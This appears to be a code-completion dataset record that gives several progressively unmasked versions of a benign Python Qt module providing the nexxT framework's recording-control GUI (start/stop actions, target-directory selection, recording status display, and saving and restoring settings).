\"list of a nodes\")\n totalNodes = property(nNodes, None, None, \"total number of nodes\")\n totalCores = property(__getTotalCores, None, None, \"total number of cores\")\n usedCores = property(__getUsedCores, None, None, \"used number of cores\")\n freeCores = property(__getFreeCores, None, None, \"free number of cores\")\n", "step-ids": [ 21, 23, 26, 28, 29 ] }
[ 21, 23, 26, 28, 29 ]
<|reserved_special_token_0|> class MVCRecordingControlGUI(MVCRecordingControlBase): <|reserved_special_token_0|> def __init__(self, config): assertMainThread() super().__init__(config) self._directory = str(Path('.').absolute()) srv = Services.getService('MainWindow') config.configLoaded.connect(self._restoreState) config.configAboutToSave.connect(self._saveState) self._config = config recMenu = srv.menuBar().addMenu('&Recording') style = QApplication.style() self.actStart = QAction(QIcon.fromTheme('media-record', QIcon( ':icons/media-record.svg')), 'Start Recording', self) self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self) self.actSetDir = QAction(QIcon.fromTheme('document-open-folder', style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...', self) self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self.actStart.triggered.connect(self._startTriggered) self.actStop.triggered.connect(self._stopTriggered) self.actSetDir.triggered.connect(self._setDir) recMenu.addAction(self.actStart) recMenu.addAction(self.actStop) recMenu.addAction(self.actSetDir) self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt. LeftDockWidgetArea, defaultLoc='PlaybackControl') self.dockWidgetContents = QWidget(self.dockWidget) self.dockWidget.setWidget(self.dockWidgetContents) toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents ) toolLayout.setContentsMargins(0, 0, 0, 0) toolBar = QToolBar() toolLayout.addWidget(toolBar) toolBar.addAction(self.actStart) toolBar.addAction(self.actStop) toolBar.addAction(self.actSetDir) self._directoryLabel = ElidedLabel(self._directory, parent=self. dockWidgetContents) to = self._directoryLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._directoryLabel.setTextOption(to) self._directoryLabel.setElideMode(Qt.ElideMiddle) self._statusLabel = ElidedLabel('(disabled)', parent=self. dockWidgetContents) to = self._statusLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._statusLabel.setTextOption(to) self._statusLabel.setElideMode(Qt.ElideMiddle) toolLayout.addWidget(self._directoryLabel) toolLayout.addWidget(self._statusLabel, stretch=100) self.statusUpdate.connect(self._onUpdateStatus) self.notifyError.connect(self._onNotifyError) def _startTriggered(self): self.startRecording(self._directory) self.actStart.setEnabled(False) self.actStop.setEnabled(True) def _stopTriggered(self): self.stopRecording() self.actStart.setEnabled(True) self.actStop.setEnabled(False) def _setDir(self): tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget, caption='Select recording target directory', dir=self._directory) if tdir != '' and tdir is not None: self._directory = str(Path(tdir).absolute()) self._directoryLabel.setText(self._directory) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def _defineProperties(self): propertyCollection = self._config.guiState() propertyCollection.defineProperty('RecordingControl_directory', str (Path('.').absolute()), 'Target directory for recordings') <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class MVCRecordingControlGUI(MVCRecordingControlBase): <|reserved_special_token_0|> def __init__(self, config): assertMainThread() super().__init__(config) self._directory = str(Path('.').absolute()) srv = Services.getService('MainWindow') config.configLoaded.connect(self._restoreState) config.configAboutToSave.connect(self._saveState) self._config = config recMenu = srv.menuBar().addMenu('&Recording') style = QApplication.style() self.actStart = QAction(QIcon.fromTheme('media-record', QIcon( ':icons/media-record.svg')), 'Start Recording', self) self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self) self.actSetDir = QAction(QIcon.fromTheme('document-open-folder', style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...', self) self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self.actStart.triggered.connect(self._startTriggered) self.actStop.triggered.connect(self._stopTriggered) self.actSetDir.triggered.connect(self._setDir) recMenu.addAction(self.actStart) recMenu.addAction(self.actStop) recMenu.addAction(self.actSetDir) self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt. LeftDockWidgetArea, defaultLoc='PlaybackControl') self.dockWidgetContents = QWidget(self.dockWidget) self.dockWidget.setWidget(self.dockWidgetContents) toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents ) toolLayout.setContentsMargins(0, 0, 0, 0) toolBar = QToolBar() toolLayout.addWidget(toolBar) toolBar.addAction(self.actStart) toolBar.addAction(self.actStop) toolBar.addAction(self.actSetDir) self._directoryLabel = ElidedLabel(self._directory, parent=self. dockWidgetContents) to = self._directoryLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._directoryLabel.setTextOption(to) self._directoryLabel.setElideMode(Qt.ElideMiddle) self._statusLabel = ElidedLabel('(disabled)', parent=self. dockWidgetContents) to = self._statusLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._statusLabel.setTextOption(to) self._statusLabel.setElideMode(Qt.ElideMiddle) toolLayout.addWidget(self._directoryLabel) toolLayout.addWidget(self._statusLabel, stretch=100) self.statusUpdate.connect(self._onUpdateStatus) self.notifyError.connect(self._onNotifyError) def _startTriggered(self): self.startRecording(self._directory) self.actStart.setEnabled(False) self.actStop.setEnabled(True) def _stopTriggered(self): self.stopRecording() self.actStart.setEnabled(True) self.actStop.setEnabled(False) def _setDir(self): tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget, caption='Select recording target directory', dir=self._directory) if tdir != '' and tdir is not None: self._directory = str(Path(tdir).absolute()) self._directoryLabel.setText(self._directory) def _supportedFeaturesChanged(self, featureset): if len(featureset) > 0 and not self.actSetDir.isEnabled(): self.actStart.setEnabled(True) self.actStop.setEnabled(False) self.actSetDir.setEnabled(True) self._statusLabel.setText('inactive') elif len(featureset) == 0 and self.actSetDir.isEnabled(): self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self._statusLabel.setText('(disabled)') <|reserved_special_token_0|> <|reserved_special_token_0|> def _defineProperties(self): propertyCollection = self._config.guiState() propertyCollection.defineProperty('RecordingControl_directory', str (Path('.').absolute()), 'Target directory for recordings') <|reserved_special_token_0|> def _restoreState(self): """ Restores the state of the playback control from the given property collection :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() logger.debug('before restore dir=%s', self._directory) d = propertyCollection.getProperty('RecordingControl_directory') if Path(d).exists(): self._directory = d self._directoryLabel.setText(self._directory) logger.debug('after restore dir=%s', self._directory) <|reserved_special_token_1|> <|reserved_special_token_0|> class MVCRecordingControlGUI(MVCRecordingControlBase): <|reserved_special_token_0|> def __init__(self, config): assertMainThread() super().__init__(config) self._directory = str(Path('.').absolute()) srv = Services.getService('MainWindow') config.configLoaded.connect(self._restoreState) config.configAboutToSave.connect(self._saveState) self._config = config recMenu = srv.menuBar().addMenu('&Recording') style = QApplication.style() self.actStart = QAction(QIcon.fromTheme('media-record', QIcon( ':icons/media-record.svg')), 'Start Recording', self) self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self) self.actSetDir = QAction(QIcon.fromTheme('document-open-folder', style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...', self) self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self.actStart.triggered.connect(self._startTriggered) self.actStop.triggered.connect(self._stopTriggered) self.actSetDir.triggered.connect(self._setDir) recMenu.addAction(self.actStart) recMenu.addAction(self.actStop) recMenu.addAction(self.actSetDir) self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt. LeftDockWidgetArea, defaultLoc='PlaybackControl') self.dockWidgetContents = QWidget(self.dockWidget) self.dockWidget.setWidget(self.dockWidgetContents) toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents ) toolLayout.setContentsMargins(0, 0, 0, 0) toolBar = QToolBar() toolLayout.addWidget(toolBar) toolBar.addAction(self.actStart) toolBar.addAction(self.actStop) toolBar.addAction(self.actSetDir) self._directoryLabel = ElidedLabel(self._directory, parent=self. dockWidgetContents) to = self._directoryLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._directoryLabel.setTextOption(to) self._directoryLabel.setElideMode(Qt.ElideMiddle) self._statusLabel = ElidedLabel('(disabled)', parent=self. dockWidgetContents) to = self._statusLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._statusLabel.setTextOption(to) self._statusLabel.setElideMode(Qt.ElideMiddle) toolLayout.addWidget(self._directoryLabel) toolLayout.addWidget(self._statusLabel, stretch=100) self.statusUpdate.connect(self._onUpdateStatus) self.notifyError.connect(self._onNotifyError) def _startTriggered(self): self.startRecording(self._directory) self.actStart.setEnabled(False) self.actStop.setEnabled(True) def _stopTriggered(self): self.stopRecording() self.actStart.setEnabled(True) self.actStop.setEnabled(False) def _setDir(self): tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget, caption='Select recording target directory', dir=self._directory) if tdir != '' and tdir is not None: self._directory = str(Path(tdir).absolute()) self._directoryLabel.setText(self._directory) def _supportedFeaturesChanged(self, featureset): if len(featureset) > 0 and not self.actSetDir.isEnabled(): self.actStart.setEnabled(True) self.actStop.setEnabled(False) self.actSetDir.setEnabled(True) self._statusLabel.setText('inactive') elif len(featureset) == 0 and self.actSetDir.isEnabled(): self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self._statusLabel.setText('(disabled)') <|reserved_special_token_0|> <|reserved_special_token_0|> def _defineProperties(self): propertyCollection = self._config.guiState() propertyCollection.defineProperty('RecordingControl_directory', str (Path('.').absolute()), 'Target directory for recordings') def _saveState(self): """ Saves the state of the playback control :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() try: propertyCollection.setProperty('RecordingControl_directory', self._directory) except PropertyCollectionPropertyNotFound: pass def _restoreState(self): """ Restores the state of the playback control from the given property collection :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() logger.debug('before restore dir=%s', self._directory) d = propertyCollection.getProperty('RecordingControl_directory') if Path(d).exists(): self._directory = d self._directoryLabel.setText(self._directory) logger.debug('after restore dir=%s', self._directory) <|reserved_special_token_1|> <|reserved_special_token_0|> class MVCRecordingControlGUI(MVCRecordingControlBase): """ This service implements a GUI frontend for the recording service """ def __init__(self, config): assertMainThread() super().__init__(config) self._directory = str(Path('.').absolute()) srv = Services.getService('MainWindow') config.configLoaded.connect(self._restoreState) config.configAboutToSave.connect(self._saveState) self._config = config recMenu = srv.menuBar().addMenu('&Recording') style = QApplication.style() self.actStart = QAction(QIcon.fromTheme('media-record', QIcon( ':icons/media-record.svg')), 'Start Recording', self) self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self) self.actSetDir = QAction(QIcon.fromTheme('document-open-folder', style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...', self) self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self.actStart.triggered.connect(self._startTriggered) self.actStop.triggered.connect(self._stopTriggered) self.actSetDir.triggered.connect(self._setDir) recMenu.addAction(self.actStart) recMenu.addAction(self.actStop) recMenu.addAction(self.actSetDir) self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt. LeftDockWidgetArea, defaultLoc='PlaybackControl') self.dockWidgetContents = QWidget(self.dockWidget) self.dockWidget.setWidget(self.dockWidgetContents) toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents ) toolLayout.setContentsMargins(0, 0, 0, 0) toolBar = QToolBar() toolLayout.addWidget(toolBar) toolBar.addAction(self.actStart) toolBar.addAction(self.actStop) toolBar.addAction(self.actSetDir) self._directoryLabel = ElidedLabel(self._directory, parent=self. dockWidgetContents) to = self._directoryLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._directoryLabel.setTextOption(to) self._directoryLabel.setElideMode(Qt.ElideMiddle) self._statusLabel = ElidedLabel('(disabled)', parent=self. dockWidgetContents) to = self._statusLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._statusLabel.setTextOption(to) self._statusLabel.setElideMode(Qt.ElideMiddle) toolLayout.addWidget(self._directoryLabel) toolLayout.addWidget(self._statusLabel, stretch=100) self.statusUpdate.connect(self._onUpdateStatus) self.notifyError.connect(self._onNotifyError) def _startTriggered(self): self.startRecording(self._directory) self.actStart.setEnabled(False) self.actStop.setEnabled(True) def _stopTriggered(self): self.stopRecording() self.actStart.setEnabled(True) self.actStop.setEnabled(False) def _setDir(self): tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget, caption='Select recording target directory', dir=self._directory) if tdir != '' and tdir is not None: self._directory = str(Path(tdir).absolute()) self._directoryLabel.setText(self._directory) def _supportedFeaturesChanged(self, featureset): if len(featureset) > 0 and not self.actSetDir.isEnabled(): self.actStart.setEnabled(True) self.actStop.setEnabled(False) self.actSetDir.setEnabled(True) self._statusLabel.setText('inactive') elif len(featureset) == 0 and self.actSetDir.isEnabled(): self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self._statusLabel.setText('(disabled)') def _onUpdateStatus(self, _, file, length, bytesWritten): lines = self._statusLabel.text().split('\n') if length < 0: length = None if bytesWritten < 0: bytesWritten = None updated = False if bytesWritten is None: bw = '??' elif bytesWritten < 1024: bw = f'{bytesWritten:3d} bytes' elif bytesWritten < 1024 * 1024: bw = f'{bytesWritten / 1024:.1f} kb' elif bytesWritten < 1024 * 1024 * 1024: bw = f'{bytesWritten / 1024 / 1024:.1f} Mb' else: bw = f'{bytesWritten / 1024 / 1024 / 1024:.1f} Gb' if length is None: sl = '?? s' elif length < 60: sl = f'{length:.1f} sec' else: sl = f'{length / 60:.1f} min' bytesAv = QStorageInfo(file).bytesAvailable() if (length is not None and bytesWritten is not None and bytesAv >= 0 and bytesWritten > 0): timeAv = length * bytesAv / bytesWritten - length if timeAv < 60: av = f'{timeAv:.1f} sec' elif timeAv < 3600: av = f'{timeAv / 60:.1f} min' else: av = '> 1 hour' else: av = '?? s' if length is not None or bytesWritten is not None: newl = Path(file).name + ': ' + sl + ' | ' + bw + ' R: ' + av else: newl = None if newl is not None: for i, l in enumerate(lines): if l.startswith(Path(file).name + ':'): updated = True lines[i] = newl break if not updated: lines.append(newl) if lines[0] == 'inactive': lines = lines[1:] else: toDel = None for i, l in enumerate(lines): if l.startswith(Path(file).name + ':'): toDel = i break if toDel is not None: lines = lines[:toDel] + lines[toDel + 1:] if len(lines) == 0: lines.append('inactive') self._statusLabel.setText('\n'.join(lines)) def _onNotifyError(self, originFilter, errorDesc): lines = self._statusLabel.text().split('\n') newl = originFilter.objectName() + ': ' + 'ERROR: ' + errorDesc updated = False for i, l in enumerate(lines): if l.startswith(originFilter.objectName() + ':'): updated = True lines[i] = newl break if not updated: lines.append(newl) if lines[0] == 'inactive': lines = lines[1:] self._statusLabel.setText('\n'.join(lines)) def _defineProperties(self): propertyCollection = self._config.guiState() propertyCollection.defineProperty('RecordingControl_directory', str (Path('.').absolute()), 'Target directory for recordings') def _saveState(self): """ Saves the state of the playback control :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() try: propertyCollection.setProperty('RecordingControl_directory', self._directory) except PropertyCollectionPropertyNotFound: pass def _restoreState(self): """ Restores the state of the playback control from the given property collection :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() logger.debug('before restore dir=%s', self._directory) d = propertyCollection.getProperty('RecordingControl_directory') if Path(d).exists(): self._directory = d self._directoryLabel.setText(self._directory) logger.debug('after restore dir=%s', self._directory) <|reserved_special_token_1|> # SPDX-License-Identifier: Apache-2.0 # Copyright (C) 2020 ifm electronic gmbh # # THE PROGRAM IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. # """ This module provides the recording control GUI service for the nexxT framework. """ import logging from pathlib import Path from nexxT.Qt.QtCore import Qt, QStorageInfo from nexxT.Qt.QtGui import QAction, QIcon, QTextOption from nexxT.Qt.QtWidgets import QApplication, QStyle, QWidget, QBoxLayout, QToolBar, QFileDialog from nexxT.core.Utils import assertMainThread, ElidedLabel from nexxT.core.Exceptions import PropertyCollectionPropertyNotFound from nexxT.interface import Services from nexxT.services.SrvRecordingControl import MVCRecordingControlBase logger = logging.getLogger(__name__) class MVCRecordingControlGUI(MVCRecordingControlBase): """ This service implements a GUI frontend for the recording service """ def __init__(self, config): assertMainThread() super().__init__(config) # state self._directory = str(Path('.').absolute()) # gui srv = Services.getService("MainWindow") config.configLoaded.connect(self._restoreState) config.configAboutToSave.connect(self._saveState) self._config = config recMenu = srv.menuBar().addMenu("&Recording") style = QApplication.style() self.actStart = QAction(QIcon.fromTheme("media-record", QIcon(":icons/media-record.svg")), "Start Recording", self) self.actStop = QAction(QIcon.fromTheme("media-playback-stop", style.standardIcon(QStyle.SP_MediaStop)), "Stop Recording", self) self.actSetDir = QAction(QIcon.fromTheme("document-open-folder", style.standardIcon(QStyle.SP_DirIcon)), "Choose directory ...", self) self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self.actStart.triggered.connect(self._startTriggered) self.actStop.triggered.connect(self._stopTriggered) self.actSetDir.triggered.connect(self._setDir) recMenu.addAction(self.actStart) recMenu.addAction(self.actStop) recMenu.addAction(self.actSetDir) self.dockWidget = srv.newDockWidget("RecordingControl", None, Qt.LeftDockWidgetArea, defaultLoc="PlaybackControl") self.dockWidgetContents = QWidget(self.dockWidget) self.dockWidget.setWidget(self.dockWidgetContents) toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents) toolLayout.setContentsMargins(0, 0, 0, 0) toolBar = QToolBar() toolLayout.addWidget(toolBar) toolBar.addAction(self.actStart) toolBar.addAction(self.actStop) toolBar.addAction(self.actSetDir) self._directoryLabel = ElidedLabel(self._directory, parent=self.dockWidgetContents) to = self._directoryLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._directoryLabel.setTextOption(to) self._directoryLabel.setElideMode(Qt.ElideMiddle) self._statusLabel = ElidedLabel("(disabled)", parent=self.dockWidgetContents) to = self._statusLabel.textOption() to.setWrapMode(QTextOption.NoWrap) self._statusLabel.setTextOption(to) self._statusLabel.setElideMode(Qt.ElideMiddle) toolLayout.addWidget(self._directoryLabel) toolLayout.addWidget(self._statusLabel, stretch=100) #toolLayout.addStretch(100) self.statusUpdate.connect(self._onUpdateStatus) self.notifyError.connect(self._onNotifyError) def _startTriggered(self): self.startRecording(self._directory) self.actStart.setEnabled(False) self.actStop.setEnabled(True) def _stopTriggered(self): self.stopRecording() self.actStart.setEnabled(True) self.actStop.setEnabled(False) def _setDir(self): tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget, caption="Select recording target directory", dir=self._directory) if tdir != "" and tdir is not None: self._directory = str(Path(tdir).absolute()) self._directoryLabel.setText(self._directory) def _supportedFeaturesChanged(self, featureset): if len(featureset) > 0 and not self.actSetDir.isEnabled(): self.actStart.setEnabled(True) self.actStop.setEnabled(False) self.actSetDir.setEnabled(True) self._statusLabel.setText("inactive") elif len(featureset) == 0 and self.actSetDir.isEnabled(): self.actStart.setEnabled(False) self.actStop.setEnabled(False) self.actSetDir.setEnabled(False) self._statusLabel.setText("(disabled)") def _onUpdateStatus(self, _, file, length, bytesWritten): lines = self._statusLabel.text().split("\n") if length < 0: length = None if bytesWritten < 0: bytesWritten = None updated = False if bytesWritten is None: bw = "??" elif bytesWritten < 1024: bw = f"{bytesWritten:3d} bytes" elif bytesWritten < 1024*1024: bw = f"{bytesWritten/1024:.1f} kb" elif bytesWritten < 1024*1024*1024: bw = f"{bytesWritten/1024/1024:.1f} Mb" else: bw = f"{bytesWritten/1024/1024/1024:.1f} Gb" if length is None: sl = "?? s" elif length < 60: sl = f"{length:.1f} sec" else: sl = f"{length/60:.1f} min" bytesAv = QStorageInfo(file).bytesAvailable() if length is not None and bytesWritten is not None and bytesAv >= 0 and bytesWritten > 0: timeAv = length*bytesAv/bytesWritten - length if timeAv < 60: av = f"{timeAv:.1f} sec" elif timeAv < 3600: av = f"{timeAv/60:.1f} min" else: av = "> 1 hour" else: av = "?? s" if length is not None or bytesWritten is not None: newl = Path(file).name + ": " + sl + " | " + bw + " R: " + av else: newl = None if newl is not None: for i, l in enumerate(lines): if l.startswith(Path(file).name + ":"): updated = True lines[i] = newl break if not updated: lines.append(newl) if lines[0] == "inactive": lines = lines[1:] else: toDel = None for i, l in enumerate(lines): if l.startswith(Path(file).name + ":"): toDel = i break if toDel is not None: lines = lines[:toDel] + lines[toDel+1:] if len(lines) == 0: lines.append("inactive") self._statusLabel.setText("\n".join(lines)) def _onNotifyError(self, originFilter, errorDesc): lines = self._statusLabel.text().split("\n") newl = originFilter.objectName() + ": " + "ERROR: " + errorDesc updated = False for i, l in enumerate(lines): if l.startswith(originFilter.objectName() + ":"): updated = True lines[i] = newl break if not updated: lines.append(newl) if lines[0] == "inactive": lines = lines[1:] self._statusLabel.setText("\n".join(lines)) def _defineProperties(self): propertyCollection = self._config.guiState() propertyCollection.defineProperty("RecordingControl_directory", str(Path('.').absolute()), "Target directory for recordings") def _saveState(self): """ Saves the state of the playback control :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() try: propertyCollection.setProperty("RecordingControl_directory", self._directory) except PropertyCollectionPropertyNotFound: pass def _restoreState(self): """ Restores the state of the playback control from the given property collection :return: """ assertMainThread() self._defineProperties() propertyCollection = self._config.guiState() logger.debug("before restore dir=%s", self._directory) d = propertyCollection.getProperty("RecordingControl_directory") if Path(d).exists(): self._directory = d self._directoryLabel.setText(self._directory) logger.debug("after restore dir=%s", self._directory)
flexible
{ "blob_id": "3e4771d074218fb0a77332ee61a4cc49f1c301b7", "index": 9356, "step-1": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n <mask token>\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n <mask token>\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n", "step-3": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n 